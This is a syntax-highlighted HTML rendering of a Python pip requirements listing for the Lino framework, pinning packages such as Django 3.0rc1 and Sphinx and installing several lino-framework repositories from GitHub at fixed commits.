&lt;span class="n"&gt;Click&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;7.0&lt;/span&gt;
&lt;span class="n"&gt;clint&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.5.1&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lsaffre&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commondata&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@a3d6773594419260ccd5f1c32551e6115867baf1&lt;/span&gt;&lt;span class="c1"&gt;#egg=commondata&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lsaffre&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commondata&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;7870148&lt;/span&gt;&lt;span class="n"&gt;b73cfbf6c9e42ae66dbbe0538191d2f1a&lt;/span&gt;&lt;span class="c1"&gt;#egg=commondata.be&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lsaffre&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commondata&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;1188&lt;/span&gt;&lt;span class="n"&gt;a475ff4f2fd1102600df3d0dfcabee399229&lt;/span&gt;&lt;span class="c1"&gt;#egg=commondata.ee&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lsaffre&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commondata&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;eg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@f252fe5d10acb89b8ee59ae7854611560d3628b9&lt;/span&gt;&lt;span class="c1"&gt;#egg=commondata.eg&lt;/span&gt;
&lt;span class="n"&gt;cssselect2&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.2.2&lt;/span&gt;
&lt;span class="n"&gt;dateparser&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.7.2&lt;/span&gt;
&lt;span class="n"&gt;DateTime&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.3&lt;/span&gt;
&lt;span class="n"&gt;defusedxml&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.6.0&lt;/span&gt;
&lt;span class="n"&gt;Django&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="n"&gt;rc1&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;countries&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;5.5&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;iban&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.3.1&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;localflavor&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.2&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mailbox&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.5.4&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wkhtmltopdf&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.2.0&lt;/span&gt;
&lt;span class="n"&gt;djangorestframework&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.10.3&lt;/span&gt;
&lt;span class="n"&gt;docutils&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.15.2&lt;/span&gt;
&lt;span class="n"&gt;eidreader&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.5&lt;/span&gt;
&lt;span class="n"&gt;et&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xmlfile&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.1&lt;/span&gt;
&lt;span class="n"&gt;etgen&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.0&lt;/span&gt;
&lt;span class="n"&gt;future&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.18.2&lt;/span&gt;
&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;19.11.0&lt;/span&gt;
&lt;span class="n"&gt;html2text&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2019.9.26&lt;/span&gt;
&lt;span class="n"&gt;html5lib&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.1&lt;/span&gt;
&lt;span class="n"&gt;icalendar&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.0.4&lt;/span&gt;
&lt;span class="n"&gt;idna&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.8&lt;/span&gt;
&lt;span class="n"&gt;imagesize&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.1.0&lt;/span&gt;
&lt;span class="n"&gt;invoke&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.3.0&lt;/span&gt;
&lt;span class="n"&gt;jdcal&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.4.1&lt;/span&gt;
&lt;span class="n"&gt;Jinja2&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.10.3&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@db54bd01e88e2c9b3c8d2bd0bbcdb9579cd5cc52&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino&lt;/span&gt;
&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;amici&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;18.8.0&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@b6bfca65d5827adec22b0ec4ce9bdfc6522f0f94&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_avanti&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@fef4c72eafdddc3496c024c0a2d23c71fc1f5af9&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_book&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;care&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;620&lt;/span&gt;&lt;span class="n"&gt;f9a8354a44b4261827fc9400baab4fc2f48e6&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_care&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cosi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;2925&lt;/span&gt;&lt;span class="n"&gt;d467eba773098358d3d865deccdecd292aca&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_cosi&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="n"&gt;a79f704789f01b1703dc27b1e77959d1b5909d&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_noi&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openui5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@e462af210c8ab73e6e4c4064ecf3f1c9fa981ace&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_openui5&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tera&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mf"&gt;8e8326&lt;/span&gt;&lt;span class="n"&gt;d2bdda7d30855241e63a8c7443070f23b4&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_tera&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vilma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@ea2b2b47ed1b93b20b4046fe4fd31b9e7d95e68f&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_vilma&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;voga&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;885430&lt;/span&gt;&lt;span class="n"&gt;a5942e11e4bb38c26ccefcfea8ea1a4504&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_voga&lt;/span&gt;
&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;welfare&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;19.9.1&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="nd"&gt;@github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;d6f13da62959f9139f0c921033a1902243aa3e6&lt;/span&gt;&lt;span class="c1"&gt;#egg=lino_xl&lt;/span&gt;
&lt;span class="n"&gt;lxml&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.4.2&lt;/span&gt;
&lt;span class="n"&gt;MarkupSafe&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.1.1&lt;/span&gt;
&lt;span class="n"&gt;Metafone&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;
&lt;span class="n"&gt;mock&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.5&lt;/span&gt;
&lt;span class="n"&gt;oauthlib&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.1.0&lt;/span&gt;
&lt;span class="n"&gt;odfpy&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.4.0&lt;/span&gt;
&lt;span class="n"&gt;openpyxl&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.1&lt;/span&gt;
&lt;span class="n"&gt;packaging&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;19.2&lt;/span&gt;
&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;4.5.1&lt;/span&gt;
&lt;span class="n"&gt;Pillow&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;6.2.1&lt;/span&gt;
&lt;span class="n"&gt;pisa&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.33&lt;/span&gt;
&lt;span class="n"&gt;pyasn1&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.4.8&lt;/span&gt;
&lt;span class="n"&gt;pyasn1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.2.7&lt;/span&gt;
&lt;span class="n"&gt;pycparser&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.19&lt;/span&gt;
&lt;span class="n"&gt;Pygments&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.5.2&lt;/span&gt;
&lt;span class="n"&gt;PyJWT&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.7.1&lt;/span&gt;
&lt;span class="n"&gt;PyKCS11&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.5.5&lt;/span&gt;
&lt;span class="n"&gt;pyparsing&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.4.5&lt;/span&gt;
&lt;span class="n"&gt;Pyphen&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.9.5&lt;/span&gt;
&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dateutil&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.8.1&lt;/span&gt;
&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ldap&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.2.0&lt;/span&gt;
&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;stdnum&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.12&lt;/span&gt;
&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;openid&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.1.0&lt;/span&gt;
&lt;span class="n"&gt;pytidylib&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.3.2&lt;/span&gt;
&lt;span class="n"&gt;pytz&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2019.3&lt;/span&gt;
&lt;span class="n"&gt;PyYAML&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;5.1.2&lt;/span&gt;
&lt;span class="n"&gt;Radicale&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.1.11&lt;/span&gt;
&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2019.11.1&lt;/span&gt;
&lt;span class="n"&gt;reportlab&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.5.32&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.22.0&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mock&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.7.0&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;oauthlib&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.3.0&lt;/span&gt;
&lt;span class="n"&gt;schedule&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.6.0&lt;/span&gt;
&lt;span class="n"&gt;selenium&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.141.0&lt;/span&gt;
&lt;span class="n"&gt;six&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.13.0&lt;/span&gt;
&lt;span class="n"&gt;snowballstemmer&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;
&lt;span class="n"&gt;social&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.1.0&lt;/span&gt;
&lt;span class="n"&gt;social&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.2.0&lt;/span&gt;
&lt;span class="n"&gt;soupsieve&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.9.5&lt;/span&gt;
&lt;span class="n"&gt;Sphinx&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.2.1&lt;/span&gt;
&lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;applehelp&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.1&lt;/span&gt;
&lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;devhelp&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.1&lt;/span&gt;
&lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;htmlhelp&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.2&lt;/span&gt;
&lt;span class="n"&gt;sphinxcontrib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;jsmath&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.0.1&lt;/span&gt;
